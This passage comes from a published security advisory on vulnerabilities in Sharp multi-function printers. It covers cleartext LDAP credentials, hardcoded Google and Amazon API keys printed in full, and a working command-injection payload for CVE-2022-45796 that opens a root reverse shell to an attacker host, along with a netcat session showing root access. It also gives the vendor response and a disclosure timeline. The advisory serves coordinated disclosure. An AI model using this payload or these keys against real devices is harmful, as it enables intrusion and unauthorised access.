tvp=zero    6458d562.356d5571 0x7fe727bff6c0 daemon: epoll: listen=8active_threads=0 tvp=zero    6458d562.356db465 0x7fe727bff6c0 daemon: epoll: listen=9active_threads=0 tvp=zero    6458d562.356e155f 0x7fe727bff6c0 daemon: epoll: listen=10active_threads=0 tvp=zero    6458d562.356f5783 0x7fe7273fe6c0 ldap_read: want=8, got=8    6458d562.356f9399 0x7fe7273fe6c0   0000:  30 31 02 01 01 01 01 01                          01......    6458d562.356fd33a 0x7fe7273fe6c0 ldap_read: want=43, got=43    6458d562.3570169a 0x7fe7273fe6c0   0000:  01 03 04 15 6c 64 61 702d 63 72 65 64 73 35 40   ....ldap-creds5@    6458d562.357033a1 0x7fe7273fe6c0   0010:  64 6f 6d 61 69 6e 2e 6c61 2e 2e 50 41 53 53 57   domain.la..PASSW    6458d562.35704d44 0x7fe7273fe6c0   0020:  4f 52 44 2d 49 4e 2d 434c 45 41 52               ORD-IN-CLEAR    6458d562.357231ef 0x7fe7273fe6c0 ldap_read: want=8 error=Resourcetemporarily unavailableIt is also possible to use wireshark to display the password.## Details - Hardcoded Google API KeysThe printers contain private API Keys in the `main` program.It is possible to retrieve specific googlecontent.com domain names inthe main program:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]Reverse Engineering of the `sub_2146D54()` function defined in themain program will reveal some hardcoded keys:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html][please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]The domains listed in the binary are:- - 265490466885-m5cjvglv9q8aak493cgepe7juvafgh8c.apps.googleusercontent.com- - 347970444986-0pij6u2tfhb240edjmls3h1u8qm2v2b3.apps.googleusercontent.com- - 410988772526-6ujegl6jvquh9kstiegva8fk5j2ogag9.apps.googleusercontent.com- - 292646726735-033ggn9hmlrs8bntrj0fbstob9m8qt26.apps.googleusercontent.comThese domains do not appear to be used anymore and are free for anyuser. An attacker can use them to receive traffic from the printers.## Details - Hardcoded Amazon API KeysThe printers contain private API Keys in the `main` program.It is possible to retrieve a specific amazonaws.com address in the`main` program:- - https://7db3z5d116.execute-api.ap-northeast-1.amazonaws.com/prod/MFPDataAlalyticsWhen Cross-referencing this address, it appears that some private APIkeys are hardcoded in the program, as shown below:- - Postman private key: `44688039-5104-39be-f974-c1f5ef621a5f`- - API-KEY: `PBYXSIK6av8fBt8Qe1EQUaF9ZaKvTDutaXS9YwWA`Reverse Engineering of the sub_20D542C function defined in the `main` program:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html][please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]We can see that curl is invoked with the `-k` option (aka`--insecure`) so any invalid SSL certificate will be accepted:The pseudo-code of `sub_20D542C()` is:    int __fastcall sub_20D542C(const char *a1, const char *a2)    {    ...            if ( sub_6A0DA0(606420, 0) )            {              sub_6A174C((char *)&loc_940DC + 2, v4, 255);              sub_6A174C((char *)&loc_940DC + 3, v6, 80);              sub_6A174C(606432, v7, 80);              if ( !*v6 )                j_strncpy_0(v6, "user", 0x50u);              v11 = sub_6A107C(&loc_940E8, 3080);              j_snprintf(                v9,                0x800u,                "/usr/bin/curl -k -o %s -U %s:%s -x %s:%d -X POST -d@\"%s\" -H \"x-api-key: PBYXSIK6av8fBt8Qe1EQUaF9ZaKvTDut"                "aXS9YwWA\" -H \"Cache-Control: no-cache\" -H\"Postman-Token: 44688039-5104-39be-f974-c1f5ef621a5f\" -L \"%s\"",                a2,                v6,                v7,                v4,                v11,                a1,"https://7db3z5d116.execute-api.ap-northeast-1.amazonaws.com/prod/MFPDataAlalytics");              sub_20D7E20(                "[analy][curl] /usr/bin/curl -k -o %s -U %s:xxx -x%s:%d -X POST -d @\"%s\"  -H \"x-api-key: PBYXSIK6av8fBt8Q"                "e1EQUaF9ZaKvTDutaXS9YwWA\" -H \"Cache-Control:no-cache\" -H \"Postman-Token: 44688039-5104-39be-f974-c1f5ef"                "621a5f\" -L \"%s\"\n",                a2,                v6,                v4,                v11,                a1,"https://7db3z5d116.execute-api.ap-northeast-1.amazonaws.com/prod/MFPDataAlalytics");            }            else            {              j_snprintf(                v9,                0x800u,                "/usr/bin/curl -k -o %s -X POST -d @\"%s\" -H\"x-api-key: PBYXSIK6av8fBt8Qe1EQUaF9ZaKvTDutaXS9YwWA\" -H \"Ca"                "che-Control: no-cache\" -H \"Postman-Token:44688039-5104-39be-f974-c1f5ef621a5f\" -L \"%s\"",                a2,                a1,"https://7db3z5d116.execute-api.ap-northeast-1.amazonaws.com/prod/MFPDataAlalytics");              sub_20D7E20(                "[analy][curl] /usr/bin/curl -k -o %s -X POST -d@\"%s\" -H \"x-api-key: PBYXSIK6av8fBt8Qe1EQUaF9ZaKvTDutaXS9"                "YwWA\" -H \"Cache-Control: no-cache\" -H\"Postman-Token: 44688039-5104-39be-f974-c1f5ef621a5f\" -L \"%s\"\n",                a2,                a1,"https://7db3z5d116.execute-api.ap-northeast-1.amazonaws.com/prod/MFPDataAlalytics");            }            v12 = j_mfp_system((int)v9);## Details - CVE-2022-45796 - RCESince the PoC for CVE-2022-45796 was not public, an authenticatedadmin user can go to http://ip/nw_interface.html and use the IPv6 IPfield to exploit a command injection:[please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html][please use the HTML version athttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html]Using Burp, an attacker can intercept the resulting request and injecta command inside the vulnerable `ggt_textbox(16)` field, for example,`ggt_textbox%2816%29=%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2Fattacker_ip%2F443+0%3E%261`corresponding to the payload `|bash -i /dev/tcp/attacker_ip/443 0>&1`.The attacker will receive a root shell from the printers and will geta full admin access, allowing to backdoor the printer for persistence:    kali% nc -l -v -p 443    listening on [any] 443 ...    10.0.0.1: inverse host lookup failed: Unknown host    connect to [10.0.0.10] from (UNKNOWN) [10.0.0.1] 58196    bash: cannot set terminal process group (619): Inappropriate ioctlfor device    bash: no job control in this shell    bash-4.3# id    uid=0(root) gid=0(root) groups=0(root)    bash-4.3# uname -ap    Linux SC58C36B 4.1.46-rt52 #2 SMP PREEMPT RT Fri Apr 26 12:29:16JST 2019 aarch64 GNU/Linux    bash-4.3# ps -auxww | grep ping    root      5022  0.0  0.0   1916   368 ?        S    09:34   0:00 grep ping    root     28966  0.0  0.0   2876  1940 ?        S    09:33   0:00sh -c ping6 -c 1 -W 2 |bash -i >& /dev/tcp/10.0.0.10/443 0>&1    bash-4.3#    init-+-aarch64-fsl-lin         |-access_audit_mg         |-bcr_iface         |-blackscreen_mon         |-check_hash_daem         |-cmd_proc         |-cpu_state         |-dbus-daemon         |-dout_daemon---14*[{dout_daemon}]         |-dummy_init         |-getty         |-intsrt         |-linter         |-mgrcpuif_r1b---2*[{mgrcpuif_r1b}]         |-mgrcpuif_r1c---2*[{mgrcpuif_r1c}]         |-nfcproc---7*[{nfcproc}]         |-ocrsrv---21*[{ocrsrv}]         |-oom_watch         |-poff_reboot         |-pulseaudio---{null-sink}         |-rc---S998linuxApp-+-IFS---20*[{IFS}]         |                   |-main-+-preview---48*[{preview}]         |                   |      |-sxlinklocald         |                   |      `-514*[{main}]         |                   |-netp---netp---sh---bash---pstree         |                   |-pdl---43*[{pdl}]         |                   |-reus_lcd_mgr---{reus_lcd_mgr}         |                   |-rtc_manager---{rtc_manager}         |                   |-2*[seriallink---6*[{seriallink}]]         |                   |-sound_play-+-14*[{sound_play}]         |                   |            `-{threaded-ml}         |                   |-startx---xinit-+-X         |                   |                `-sh-+-NX---7*[{NX}]         |                   ||-ui_mainview---12*[{ui_mainview}]         |                   |`-ui_subview---7*[{ui_subview}]         |                   |-usbch_mgr         |                   |-vmstat         |                   |-watch_proc         |                   `-wlctlproc---6*[{wlctlproc}]         |-2*[rotate]         |-rsyslogd-+-{in:imklog}         |          |-{in:immark}         |          |-{in:imuxsock}         |          `-{rs:main Q:Reg}         |-system_reset---6*[{system_reset}]         `-udevd---2*[udevd]    bash-4.3### Vendor ResponseJPCERT provided a security bulletin:https://jvn.jp/en/vu/JVNVU93051062/index.html.Sharp provided a security bulletin:https://global.sharp/products/copier/info/info_security_2024-05.html.Toshiba provided a security bulletin:https://www.toshibatec.com/information/20240531_02.html.## Report Timeline* May 2023: Security assessment performed on Sharp Multi-function printers.* June 1, 2023: A complete report was sent to JPCERT (security contactfor Sharp).* June 6, 2023: JPCERT aknowledged the reception of the securityassessment and asked more information about the security contact.* June 7, 2023: Information about the security contact provided to JPCERT.* June 7, 2023: JPCERT confirmed the reception of the security contact.* Jul 17, 2023: Questions sent to JPCERT asking for any feedback from Sharp.* Jul 18, 2023: JPCERT confirmed that they had a meeting with Sharp aweek ago. Sharp finished the investigation and was preparing adocument listing all the issues.* Jul 25, 2023: JPCERT provided the Excel file with Sharp's comments.* Jul 26, 2023: I confirmed the reception of the documents* Jul 28, 2023: Comments sent to JPCERT in the Excel file to ask tore-evaluate some issues.* Aug 1, 2023: Received responses from JPCERT regarding some of the issues.* Aug 1, 2023: Additional information provided to JPCERT regarding apotential disclosure of vulnerabilities if the issues are not patched.I suggested a tripartite meeting with Sharp and JPCERT to review theissues.* Aug 2, 2023: JPCERT suggested solutions to get security patches in atimely manner by prioritizing issues.* Aug 3, 2023: Agreed with JPCERT to prioritize vulnerabilities basedon severity, then patch critical vulnerabilities as soon as possiblewhile delaying hard-to-fix vulnerabilities.* Aug 4, 2023: JPCERT confirmed that they are working with Sharp toget the issues fixed.* Aug 16, 2023: JPCERT confirmed that they asked Sharp to reconsidersome of the issues with two buckets (short-term fixes and long-termcountermeasures) and that Sharp was working on the issues.* Sep 13, 2023: I answered that it is an acceptable practice, sinceshort-term fixes and long-term countermeasures are currently beingimplemented by other printer vendors.* Sep 14, 2023: JPCERT confirmed that they are working with Sharp toget security patches.* Oct 10, 2023: I confirmed the reception of the updates.* Nov 16, 2023: JPCERT provided a new Excel file with the issues andthe countermeasures provided by Sharp.* Nov 21, 2023: Excel file was reviewed and Sharp suggested to patchvulnerable code and remove vulnerable features.* Jan 29, 2024: Asking about the status of the vulnerabilities (CVE,availability of security patches).* Jan 30, 2024: JPCERT confirmed that a JVN advisory will be publishedwith corresponding CVEs. Security patches will be provided by May2024.* Jan 30, 2024: I suggested to test patched firmware images to confirmthat vulnerabilities were correctly patched.* Jan 31, 2024: JPCERT passed the message to Sharp regardingadditional tests of patched firmware images.* Feb 16, 2024: JPCERT sent the updated Excel file containing thevulnerabilities.* Feb 16, 2024: Confirmation of the reception of the Excel file.* Feb 20, 2024: Updated Excel file sent to JPCERT with my comments.* Mar 1, 2024: JPCERT sent comments regarding my feedbacks.* Mar 4, 2024: I confirmed the reception of the feedbacks.* May 8, 2024: Email asking JPCERT when the security advisories andsecurity patches will be published.* May 16, 2024: JPCERT sent a list of affected products/versions andconfirmed that they are working on a draft.* May 20, 2024: I suggested to include unsupported models since, basedon my testing, some unsupported models were vulnerable.* May 21, 2024: JPCERT reported sending this suggestion to Sharp.* May 28, 2024: JPCERT provided the JVN English edition draftadvisory, the final list of affected products and Toshiba Tech MFPsinformation.* May 28, 2024: I asked JPCERT to provide me with the list of CVEs forthe list of vulnerabilities I reported.* May 29, 2024: JPCERT provided a list of vulnerabilities along withCVEs and clarifications regarding some of the findings.* May 30, 2024: Confirmation sent to JPCERT that the list was received.* May 31, 2024: JPCERT published a security advisory:https://jvn.jp/en/vu/JVNVU93051062/index.html.* May 31, 2024: Sharp published a security advisory:https://global.sharp/products/copier/info/info_security_2024-05.html.* May 31, 2024: Toshiba published a security advisory:https://www.toshibatec.com/information/20240531_02.html.* June 27, 2024: A security advisory is published.## CreditsThese vulnerabilities were found by Pierre Barre aka Pierre Kim (@PierreKimSec).## Referenceshttps://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.htmlhttps://pierrekim.github.io/advisories/2024-sharp-mfp.txthttps://jvn.jp/en/vu/JVNVU93051062/index.htmlhttps://global.sharp/products/copier/info/info_security_2024-05.htmlhttps://www.toshibatec.com/information/20240531_02.html## DisclaimerThis advisory is licensed under a Creative Commons Attribution Non-CommercialShare-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/-----BEGIN PGP SIGNATURE-----iQIzBAEBCgAdFiEEoSgI9MSrzxDXWrmCxD4O2n2TLbwFAmZ9pYoACgkQxD4O2n2TLbx2Iw//TIRFzVnpQwVpk/SHRg/f7MHlQmTeSmXTJiataDytUiio8OtfWpkAHLy6KTPW0XHxkGBrndZbeay/hmyDHKH5yrhrzF/OqXHetZVDKx7bzFBAkFTeuPQdgyv4xQmfmv3DbvSrfCXMnNTMvh4XE1JT4l4Ng4fbOxx3x5s7cgBKpsw5QO045nsrWmIN9L9mqY3h6o0lmcPt04HO/Th1sREbNeeSzg6S5jwdM77ZZQkXg6NQ3Fob+RJkd2oKtJJF3t48j1aIVRoW/RAaxL0bkzbxnWC0OSKYmGSNKGlXsmpQ6BNf5baLl4ursSO/iIeVYhIgLNIL0NwbInbDWIBsDjEVpAh74BDBrHAafzLryPYZUL+jBw0CkJxUkyxgHbR/AbpHe+aXR6semM1E3pWmu2Z3Z1qGUIef+NULYUHPIpSNFqQ9sfQmzStRvz1zunFOhjuOMlMFoPcDa3eL/iJOl64fNE/tu4Qi+ytt8gyy6sEFj0ZOXLJMNBg30E+saRdE+eAiVVp+/Pj+O4+YGYtUzwNyW2RgdLtAXihBVzFlprSA/26scNog39zgxPQ+M7qjcVCxFvoL6kKvf/Y0aDvXT27Z+yV5G5l3v29XbB77az+i5TzA9d9LSfcZv6+rH5tsJlPs6r65uRi3JGNDBTnkW85UENOwpnwLiCrYJwhrExUjky0==cwDH-----END PGP SIGNATURE------- Pierre [email protected]@PierreKimSechttps://pierrekim.github.io/